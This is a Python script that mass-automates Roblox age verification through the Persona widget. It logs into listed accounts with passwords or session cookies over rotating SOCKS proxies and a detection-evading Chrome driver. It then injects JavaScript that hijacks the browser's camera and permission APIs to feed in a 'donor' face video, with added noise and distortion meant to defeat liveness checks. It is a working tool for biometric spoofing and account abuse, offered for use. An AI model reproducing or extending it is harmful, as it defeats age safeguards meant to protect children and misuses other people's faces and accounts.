from __future__ import annotations import io import json import logging import os import random import subprocess import sys import time import urllib.request from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime from pathlib import Path import cv2 import threading sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8") import undetected_chromedriver as uc from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC PROXY_FILE = Path("proxy.txt") ACCOUNTS_FILE = Path("accs.txt") LOCAL_BRIDGE_HOST = "127.0.0.1" LOCAL_BRIDGE_PORT = 18080 LOG_DIR = Path("logs") VIDEOS_DIR = Path("videos") HAAR_PATH = Path("haarcascade_frontalface_default.xml") THREADS = 3 TEST_MODE = "--test" in sys.argv log: logging.Logger = None RESULT_DIR: Path = None _processed_logins: set = set() # accounts finished (any outcome) # Thread-safety primitives _chrome_lock = threading.Lock() _port_locks = [threading.Lock() for _ in range(THREADS)] _port_owners = [None] * THREADS def load_proxies() -> list[str]: """Returns list of normalized socks5:// proxy strings.""" if not PROXY_FILE.exists(): return [] proxies = [] for line in PROXY_FILE.read_text(encoding="utf-8").splitlines(): line = line.strip() if not line or line.startswith("#"): continue s = line.replace("socks5://", "") if "@" in s: auth, rest = s.split("@", 1) user, pw = auth.split(":", 1) host, port = rest.split(":", 1) proxies.append(f"socks5://{user}:{pw}@{host}:{port}") else: parts = s.split(":") if len(parts) == 4: # host:port:user:pass host, port, user, pw = parts proxies.append(f"socks5://{user}:{pw}@{host}:{port}") elif len(parts) == 2: host, port = parts proxies.append(f"socks5://{host}:{port}") return proxies def parse_account_line(line: str) -> dict | None: raw = line.strip() result = {"_raw": raw} first = raw.find(":") if first == -1: if len(raw) > 50 or raw.startswith("_|WARNING"): result.update({"login": "", "password": "", "cookie": raw}) return result return None login_part = raw[:first] rest_after_first = raw[first + 1:] # cookie-only: login_part выглядит как начало куки if login_part.startswith("_|WARNING"): result.update({"login": "", "password": "", "cookie": raw}) return result # login:cookie — кука начинается сразу после первого : if rest_after_first.startswith("_|WARNING"): result.update({"login": login_part, "password": "", "cookie": rest_after_first}) return result # login:pass:cookie или login:pass second = rest_after_first.find(":") if second != -1: result.update({"login": login_part, "password": rest_after_first[:second], "cookie": rest_after_first[second + 1:]}) return result # Без второго : — login:pass или login:cookie (кука без _|WARNING) if len(rest_after_first) > 50: result.update({"login": login_part, "password": "", "cookie": rest_after_first}) else: result.update({"login": login_part, "password": rest_after_first, "cookie": ""}) return result def start_pproxy_bridge(proxy: str, port: int) -> subprocess.Popen | None: remote = proxy s = proxy.replace("socks5://", "", 1) if "@" in s: auth, rest = s.split("@", 1) remote = f"socks5://{rest}#{auth}" env = os.environ.copy() env["PYTHONIOENCODING"] = "utf-8" for attempt in range(5): try: proc = subprocess.Popen( [sys.executable, "-m", "pproxy", "-l", f"http://{LOCAL_BRIDGE_HOST}:{port}", "-r", remote, "-v"], stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True, env=env, ) time.sleep(1.5) if proc.poll() is not None: err = proc.stderr.read() if proc.stderr else "" log.error("pproxy on port %d failed (attempt %d/5): %s", port, attempt + 1, err.strip()[:200]) time.sleep(2) continue return proc except OSError as e: log.warning("pproxy on port %d attempt %d/5: %s", port, attempt + 1, e) time.sleep(2) return None def _ensure_haar_cascade() -> str: if HAAR_PATH.exists(): return str(HAAR_PATH) url = "https://raw.githubusercontent.com/opencv/opencv/master/data/haarcascades/haarcascade_frontalface_default.xml" log.info("Downloading haarcascade_frontalface_default.xml...") urllib.request.urlretrieve(url, str(HAAR_PATH)) return str(HAAR_PATH) def _list_videos() -> list[Path]: video_exts = {".mp4", ".webm", ".avi", ".mov", ".mkv"} if not VIDEOS_DIR.exists(): return [] return sorted([f for f in VIDEOS_DIR.iterdir() if f.suffix.lower() in video_exts and not f.name.startswith(".")]) def _get_video_size(video_path: Path) -> tuple[int, int]: cap = cv2.VideoCapture(str(video_path)) w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) cap.release() return w, h def _get_video_duration(video_path: Path) -> float: cap = cv2.VideoCapture(str(video_path)) fps = cap.get(cv2.CAP_PROP_FPS) count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) cap.release() if fps <= 0: return 0 return count / fps def _extract_frames_jpg_b64(video_path: Path, w: int, h: int, step: int = 2) -> list[str]: import cv2 import base64 cap = cv2.VideoCapture(str(video_path)) ow = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) oh = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) frames = [] idx = 0 while True: ret, frame = cap.read() if not ret: break if idx % step != 0: idx += 1 continue idx += 1 if (ow, oh) != (w, h): frame = cv2.resize(frame, (w, h)) frames.append(frame) cap.release() result = [] for frame in frames: _, buf = cv2.imencode(".jpg", frame, [cv2.IMWRITE_JPEG_QUALITY, 85]) result.append(base64.b64encode(buf.tobytes()).decode()) return result def _analyze_video_directions(video_path: Path) -> tuple[dict[str, list[int]], list[float]]: """Returns (dir_ranges, face_cx_list). dir_ranges: {dir: [start_frame, end_frame]} for center/left/right. face_cx_list: face center X per frame (original coords), -1 if no face. """ haar_src = cv2.objdetect if hasattr(cv2, "objdetect") and hasattr(cv2.objdetect, "CascadeClassifier") else cv2 if not hasattr(haar_src, "CascadeClassifier"): raise RuntimeError( "cv2.CascadeClassifier not available. " "Reinstall opencv-python: pip install --force-reinstall opencv-python" ) haar_path = _ensure_haar_cascade() face_cascade = haar_src.CascadeClassifier(haar_path) cap = cv2.VideoCapture(str(video_path)) fw = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) low = fw * 0.45 high = fw * 0.55 directions = [] cx_list = [] while True: ret, frame = cap.read() if not ret: break gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray, 1.1, 5, minSize=(60, 60)) if len(faces) > 0: x, _, fw_face, _ = faces[0] cx = x + fw_face / 2 cx_list.append(cx) if cx < low: directions.append("right") elif cx > high: directions.append("left") else: directions.append("center") else: cx_list.append(-1.0) directions.append("center") cap.release() ranges: dict[str, list[int]] = {"center": [], "left": [], "right": []} for d in ranges: start = None for i, v in enumerate(directions): if v == d and start is None: start = i elif v != d and start is not None: if i - start >= 5: ranges[d].append([start, i - 1]) start = None if start is not None and len(directions) - start >= 5: ranges[d].append([start, len(directions) - 1]) result = {} for d, segs in ranges.items(): if segs: result[d] = max(segs, key=lambda s: s[1] - s[0]) else: result[d] = [0, 0] return result, cx_list def setup_logger() -> logging.Logger: LOG_DIR.mkdir(exist_ok=True) ts = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") log_file = LOG_DIR / f"session_{ts}.log" logger = logging.getLogger("robverify") logger.setLevel(logging.INFO) fmt = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s") fh = logging.FileHandler(log_file, encoding="utf-8") fh.setFormatter(fmt) logger.addHandler(fh) sh = logging.StreamHandler(sys.stdout) sh.setFormatter(fmt) logger.addHandler(sh) return logger def human_type(element, text: str) -> None: for ch in text: element.send_keys(ch) time.sleep(random.uniform(0.03, 0.12)) def save_result(acc: dict, category: str, msg: str = "") -> None: label = f"{acc['login']}:{acc['password']}" if acc['password'] else acc['login'] if not label: label = acc['cookie'][:40] + "..." line = f"{label} - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}" if msg: line += f" - {msg}" file_path = RESULT_DIR / f"{category}.txt" with open(file_path, "a", encoding="utf-8") as f: f.write(line + "\n") log.info("Saved to %s", file_path.name) def _cookie_login(driver, cookie: str) -> bool: driver.get("https://www.roblox.com") time.sleep(2) try: accept = WebDriverWait(driver, 3).until(EC.element_to_be_clickable((By.XPATH, "//button[text()='Accept All']"))) accept.click() time.sleep(1) except Exception: pass try: driver.execute_cdp_cmd("Network.setCookie", { "name": ".ROBLOSECURITY", "value": cookie, "domain": ".roblox.com", "path": "/", "secure": True, "httpOnly": True, }) except Exception: driver.add_cookie({"name": ".ROBLOSECURITY", "value": cookie, "domain": ".roblox.com"}) driver.get("https://www.roblox.com/home") time.sleep(4) return "/login" not in driver.current_url def process_account(driver, acc: dict, donor_video: Path | None, frames_b64: list[str] | None = None, w: int = 0, h: int = 0, dir_ranges: dict | None = None, speed_multiplier: float = 1.0) -> bool: login, password, cookie = acc["login"], acc["password"], acc["cookie"] log.info("=== %s ===", login or "cookie-only") if cookie: if _cookie_login(driver, cookie): log.info("Logged in via cookie") elif login and password: log.info("Cookie expired, falling back to login:pass") cookie = "" else: log.warning("Cookie expired and no password — skipping") return False if not cookie: driver.get("https://www.roblox.com/login") WebDriverWait(driver, 15).until(EC.presence_of_element_located((By.ID, "login-username"))) try: accept = WebDriverWait(driver, 3).until(EC.element_to_be_clickable((By.XPATH, "//button[text()='Accept All']"))) accept.click() time.sleep(1) except Exception: pass # close any modal dialogs blocking the login form for _ in range(10): try: modal = driver.find_element(By.XPATH, "//h4[@class='modal-title']/ancestor::div[contains(@class, 'modal')]") close_btn = modal.find_element(By.XPATH, ".//button[contains(@class, 'close')]") close_btn.click() log.info("Dismissed login modal") time.sleep(1) except Exception: break username_input = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "login-username"))) ActionChains(driver).move_to_element(username_input).pause(0.3).perform() time.sleep(0.1); username_input.click(); time.sleep(0.1); username_input.clear() human_type(username_input, login) password_input = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "login-password"))) ActionChains(driver).move_to_element(password_input).pause(0.3).perform() time.sleep(0.1); password_input.click(); time.sleep(0.1); password_input.clear() human_type(password_input, password) login_btn = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "login-button"))) ActionChains(driver).move_to_element(login_btn).pause(0.2).perform() time.sleep(0.1); login_btn.click() WebDriverWait(driver, 30).until(lambda d: "/login" not in d.current_url) try: agree = WebDriverWait(driver, 3).until(EC.element_to_be_clickable((By.XPATH, "//button[contains(@class, 'modal-button') and contains(@class, 'btn-control-md')]"))) agree.click() log.info("Accepted Updated Agreements") time.sleep(2) except Exception: pass driver.get("https://www.roblox.com/my/account#!/info") time.sleep(3) try: body = driver.find_element(By.TAG_NAME, "body").text if "Did we get your age group right" in body: log.info("VERIFIED: already verified (age group banner)") save_result(acc, "verified", "age group banner") return "verified" except Exception: pass try: close_btn = driver.find_element(By.XPATH, "//div[@data-state='open' and contains(@class, 'dialog-overlay')]/..//button[contains(@class, 'icon')]") close_btn.click() log.info("Dismissed overlay dialog") time.sleep(1) except Exception: pass camera_btn = WebDriverWait(driver, 15).until( EC.element_to_be_clickable((By.XPATH, "//button[contains(@class, 'age-verification-button')]")) ) try: camera_btn.click() except Exception: driver.execute_script("arguments[0].click();", camera_btn) log.info("Clicked camera button via JS") time.sleep(15) for text in ["Sorry, your verification was declined", "Session expired"]: try: el = driver.find_element(By.XPATH, f"//*[contains(text(), '{text}')]") msg = el.text log.info(msg) cat = "expired" if "Session expired" in msg else "declined" save_result(acc, cat, msg) return "Session expired" in msg except Exception: pass try: allow_btn = WebDriverWait(driver, 5).until( EC.element_to_be_clickable((By.XPATH, "//button[contains(text(), 'Continue')] | //button[contains(text(), 'Allow')] | //button[contains(text(), 'Accept')]")) ) allow_btn.click() log.info("Accepted Roblox permission dialog") time.sleep(3) except Exception: log.info("No permission dialog to accept") if not donor_video: log.info("No donor video — all clear.") return False try: iframe = WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.XPATH, "//iframe[contains(@src, '/widget') or contains(@src, 'inquiry.withpersona.com/widget')]")) ) log.info("Persona iframe found") except Exception: log.warning("Persona widget iframe not found, will retry") return True if frames_b64 is None and donor_video: w, h = _get_video_size(donor_video) if dir_ranges is None: dir_ranges, _ = _analyze_video_directions(donor_video) frames_b64 = _extract_frames_jpg_b64(donor_video, w, h, step=2) log.info("Extracted %d frames from %s", len(frames_b64), donor_video.name) if dir_ranges is None and donor_video: dir_ranges, _ = _analyze_video_directions(donor_video) log.info("Direction ranges: %s", dir_ranges) driver.switch_to.frame(iframe) log.info("Switched to Persona iframe") try: body_text = driver.find_element(By.TAG_NAME, "body").text if "Session expired" in body_text: log.info("Session expired detected in Persona iframe before video flow") save_result(acc, "expired", "in iframe before video") driver.switch_to.default_content() return True except Exception: pass try: consent = driver.find_element(By.XPATH, "//input[@type='checkbox' and @aria-label='I consent to the processing of my biometric information']") driver.execute_script("arguments[0].click();", consent) log.info("Biometric consent checkbox clicked") time.sleep(0.5) except Exception: pass all_b64 = ",".join(frames_b64) script = f""" (function() {{ if (window.__camReady) return; window.__camReady = true; var _frames = '{all_b64}'.split(','); var _canvas, _stream, _idx = 0, _paused = true; var _currentDir = 'center'; var _pulseTheta = 0, _pulseFreq = 0.05, _pulseIntensity = 0.003; var _frameInterval = Math.round(33 / {speed_multiplier}); var _streamResolve; var _streamPromise = new Promise(function(r) {{ _streamResolve = r; }}); var _rotation = 0, _warmth = 0, _filter = 'none', _scaleX = 1, _scaleY = 1; function _applyArtifacts(ctx, w, h) {{ var imgData = ctx.getImageData(0, 0, w, h); var data = imgData.data; _pulseTheta += _pulseFreq; var pulseDelta = Math.sin(_pulseTheta) * _pulseIntensity; var warmth = _warmth * 255; for (var i = 0; i < data.length; i += 4) {{ var noise = (Math.random() - 0.5) * 6; data[i] = Math.min(255, Math.max(0, data[i] + noise + (pulseDelta * 255) + warmth)); data[i + 1] = Math.min(255, Math.max(0, data[i + 1] + noise)); data[i + 2] = Math.min(255, Math.max(0, data[i + 2] + noise - warmth)); }} ctx.putImageData(imgData, 0, 0); ctx.translate((Math.random() - 0.5) * 0.4, (Math.random() - 0.5) * 0.4); }} function _draw() {{ if (!_paused) {{ _idx = (_idx + 1) % _frames.length; }} var img = new Image(); img.onload = function() {{ var ctx = _canvas.getContext('2d'); ctx.setTransform(1, 0, 0, 1, 0, 0); ctx.clearRect(0, 0, _canvas.width, _canvas.height); ctx.filter = _filter; var cx = _canvas.width / 2, cy = _canvas.height / 2; ctx.translate(cx, cy); ctx.rotate(_rotation * Math.PI / 180); ctx.scale(_scaleX, _scaleY); if (_currentDir !== 'center') {{ ctx.scale(-1, 1); }} ctx.drawImage(img, -cx, -cy, _canvas.width, _canvas.height); ctx.setTransform(1, 0, 0, 1, 0, 0); ctx.filter = 'none'; _applyArtifacts(ctx, _canvas.width, _canvas.height); setTimeout(_draw, _frameInterval); }}; img.src = 'data:image/jpeg;base64,' + _frames[_idx]; }} _canvas = document.createElement('canvas'); _canvas.width = {w}; _canvas.height = {h}; var img0 = new Image(); img0.onload = function() {{ var ctx = _canvas.getContext('2d'); ctx.drawImage(img0, 0, 0); _applyArtifacts(ctx, _canvas.width, _canvas.height); _stream = _canvas.captureStream(30); _streamResolve(_stream); }}; img0.src = 'data:image/jpeg;base64,' + _frames[0]; window.__startVideo = function() {{ _rotation = (Math.random() - 0.5) * 5; _warmth = (Math.random() - 0.5) * 0.08; var blur = (Math.random() * 0.5 + 0.2).toFixed(1) + 'px'; var contrast = (1 + (Math.random() - 0.5) * 0.1).toFixed(3); var brightness = (1 + (Math.random() - 0.5) * 0.08).toFixed(3); _filter = 'blur(' + blur + ') contrast(' + contrast + ') brightness(' + brightness + ')'; _scaleX = 1 + (Math.random() - 0.5) * 0.08; _scaleY = 1 + (Math.random() - 0.5) * 0.08; _paused = false; _draw(); }}; window.__seekDirection = function(dir) {{ _currentDir = dir; }}; window.__zoomOut = function() {{ _scaleX *= 0.99; _scaleY *= 0.99; }}; if (navigator.mediaDevices) {{ navigator.mediaDevices.getUserMedia = function(constraints) {{ return _streamPromise; }}; navigator.mediaDevices.enumerateDevices = function() {{ return Promise.resolve([{{deviceId:'cam',kind:'videoinput',label:'Cam',groupId:'g'}}]); }}; }} if (navigator.permissions) {{ var _pq = navigator.permissions.query.bind(navigator.permissions); navigator.permissions.query = function(d) {{ if (d && d.name === 'camera') return Promise.resolve({{state:'granted',onchange:null}}); return _pq(d); }}; }} }})(); """ driver.execute_script(script) log.info("Camera override injected (%dx%d)", w, h) time.sleep(10) for _ in range(20): try: driver.find_element(By.XPATH, "//button[@data-test='button__primary' and @id='button_submit']").click() log.info("Clicked primary Continue") break except Exception: time.sleep(1) for _ in range(20): try: driver.find_element(By.XPATH, "//button[@data-test='selfie-prompt__button--camera']").click() log.info("Clicked selfie Continue") time.sleep(3) break except Exception: pass try: driver.find_element(By.XPATH, "//button[contains(@data-test, 'selfie') or contains(@aria-label, 'camera')]").click() log.info("Clicked selfie Continue (fallback)") time.sleep(3) break except Exception: time.sleep(1) log.info("Waiting for center instruction...") for _ in range(60): try: alert = driver.find_element(By.XPATH, "//span[@role='alert']") txt = alert.text.lower() if "center" in txt or "центр" in txt or "look" in txt: driver.execute_script("window.__startVideo();") log.info("Center instruction detected, video started") break except Exception: pass try: body = driver.find_element(By.TAG_NAME, "body") if "center" in body.text.lower() or "центр" in body.text.lower() or "look straight" in body.text.lower(): driver.execute_script("window.__startVideo();") log.info("Center instruction detected (body fallback), video started") break except Exception: pass time.sleep(1) end_time = time.time() + 120 log.info("Verification loop — manual mode") while time.time() < end_time: try: body = driver.find_element(By.TAG_NAME, "body").text if "Try taking another photo" in body or "couldn't estimate your age" in body: log.info("Photo rejected, restarting browser") driver.switch_to.default_content() return True if "further away" in body.lower() or "move back" in body.lower(): driver.execute_script("window.__zoomOut();") log.info("Zoomed out (further away detected)") time.sleep(1) if "Session expired" in body: log.info("Session expired detected during verification") driver.switch_to.default_content() return True if "estimated your age" in body.lower() and "full access" in body.lower(): log.info("VERIFIED: age verified successfully") save_result(acc, "verified", "in iframe") try: ok_btn = driver.find_element(By.XPATH, "//button[@id='complete__button' and @data-test='button__primary']") ok_btn.click() time.sleep(2) except Exception: pass driver.switch_to.default_content() return "verified" except Exception: pass time.sleep(2) try: body_text = driver.find_element(By.TAG_NAME, "body").text if "Session expired" in body_text: log.info("Session expired detected after verification") driver.switch_to.default_content() return True except Exception: pass driver.switch_to.default_content() try: body = driver.find_element(By.TAG_NAME, "body").text if "estimated your age" in body.lower() and "full access" in body.lower(): log.info("VERIFIED: age verified successfully") save_result(acc, "verified", "main page") return "verified" except Exception: pass for text in ["Sorry, your verification was declined", "Session expired"]: try: el = driver.find_element(By.XPATH, f"//*[contains(text(), '{text}')]") msg = el.text log.info(msg) cat = "expired" if "Session expired" in msg else "declined" save_result(acc, cat, msg) return "Session expired" in msg except Exception: pass log.info("Verification timed out — restarting") save_result(acc, "pending", "no result in 120s loop") return True def ensure_files() -> None: if not PROXY_FILE.exists(): PROXY_FILE.write_text("# Format: socks5://user:pass@host:port\n# Or: host:port:user:pass\n# Or: host:port\n", encoding="utf-8") log.info("Created %s — fill in your proxy.", PROXY_FILE) if not ACCOUNTS_FILE.exists(): ACCOUNTS_FILE.write_text("# Format: login:pass or login:pass:cookie or login:cookie or just-cookie\n", encoding="utf-8") log.info("Created %s — add your accounts.", ACCOUNTS_FILE) def _acquire_port(tid: int) -> int: """Claim a port slot. Blocks until a slot is free.""" slot = tid % THREADS _port_locks[slot].acquire() _port_owners[slot] = threading.current_thread().name return LOCAL_BRIDGE_PORT + slot def _release_port(port: int) -> None: slot = port - LOCAL_BRIDGE_PORT if 0 <= slot < THREADS: _port_owners[slot] = None _port_locks[slot].release() def _process_one(tid: int, acc: dict, all_videos: list[Path], all_proxies: list[str], result_dir: Path) -> None: """Process one account in its own thread.""" global log login = acc["login"] or acc["cookie"][:20] + "..." proxy = random.choice(all_proxies) if all_proxies else None donor_video = random.choice(all_videos) log.info("[T%d] === %s — video: %s%s ===", tid, login, donor_video.name, f" proxy: {proxy}" if proxy else "") try: fw, fh = _get_video_size(donor_video) dur = _get_video_duration(donor_video) speed_multiplier = 0.5 if dur < 15 else 1.0 if speed_multiplier < 1: log.info("Video is %.1fs — slowing playback to %.0f%%", dur, speed_multiplier * 100) dir_ranges, _ = _analyze_video_directions(donor_video) frames_b64 = _extract_frames_jpg_b64(donor_video, fw, fh, step=2) except Exception as e: log.error("[T%d] Video analysis failed for %s: %s", tid, login, e) _processed_logins.add(login) return port = _acquire_port(tid) try: pproxy_proc = start_pproxy_bridge(proxy, port) if proxy else None max_retries = 15 for attempt in range(max_retries): options = uc.ChromeOptions() options.add_argument("--disable-blink-features=AutomationControlled") if pproxy_proc: options.add_argument(f"--proxy-server=http://{LOCAL_BRIDGE_HOST}:{port}") driver = None try: with _chrome_lock: driver = uc.Chrome(options=options, headless=False) result = process_account(driver, acc, donor_video, frames_b64, fw, fh, dir_ranges, speed_multiplier) if result == "verified": log.info("[T%d] Account verified", tid) elif not result: log.info("[T%d] Account done (no retry needed)", tid) else: log.info("[T%d] Session expired, retrying (attempt %d/%d)", tid, attempt + 1, max_retries) continue break except Exception as e: log.error("[T%d] Error: %s (attempt %d/%d)", tid, e, attempt + 1, max_retries) if attempt + 1 < max_retries: log.info("[T%d] Retrying after error...", tid) time.sleep(5) continue break finally: if TEST_MODE: input(f"[T{tid}] Press Enter to close browser for {login} and continue...\n") if driver: try: driver.quit() except Exception: pass try: driver.__class__.__del__ = lambda s: None except Exception: pass if pproxy_proc: pproxy_proc.terminate() try: pproxy_proc.wait(timeout=5) except Exception: pass finally: _release_port(port) _processed_logins.add(login) def main() -> None: global log, RESULT_DIR log = setup_logger() ts = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") RESULT_DIR = Path("result") / ts.replace(":", "-") RESULT_DIR.mkdir(parents=True, exist_ok=True) log.info("Results: %s", RESULT_DIR) log.info("Threads: %d", THREADS) if TEST_MODE: log.info("TEST MODE enabled — will pause between accounts.") ensure_files() all_proxies = load_proxies() if PROXY_FILE.exists() and PROXY_FILE.read_text(encoding="utf-8").strip() and not all_proxies: log.warning("Invalid proxy format in %s, running without proxy", PROXY_FILE) raw_lines = [l.strip() for l in ACCOUNTS_FILE.read_text(encoding="utf-8").splitlines() if l.strip() and not l.startswith("#")] accounts = [] for line in raw_lines: parsed = parse_account_line(line) if parsed: accounts.append(parsed) else: log.warning("Skipping unrecognized line: %s", line) if not accounts: log.error("No valid accounts found in %s (formats: login:pass, login:pass:cookie, login:cookie, or just cookie)", ACCOUNTS_FILE) return all_videos = _list_videos() if not all_videos: log.error("No videos in videos/") return log.info("Found %d accounts, %d videos, %d proxies", len(accounts), len(all_videos), len(all_proxies)) # Process accounts in parallel finished_lines = [] with ThreadPoolExecutor(max_workers=THREADS) as pool: fut_map = {} for tid, acc in enumerate(accounts): fut = pool.submit(_process_one, tid, acc, all_videos, all_proxies, RESULT_DIR) fut_map[fut] = acc for fut in as_completed(fut_map): acc = fut_map[fut] try: fut.result() except Exception as e: label = acc["login"] or acc["cookie"][:20] log.error("Thread crashed on %s: %s", label, e) finished_lines.append(acc["_raw"]) # Remove all processed accounts from accs.txt remaining = [l for l in ACCOUNTS_FILE.read_text(encoding="utf-8").splitlines() if l.strip() not in finished_lines] ACCOUNTS_FILE.write_text("\n".join(remaining) + "\n", encoding="utf-8") if remaining else ACCOUNTS_FILE.write_text("", encoding="utf-8") if __name__ == "__main__": main()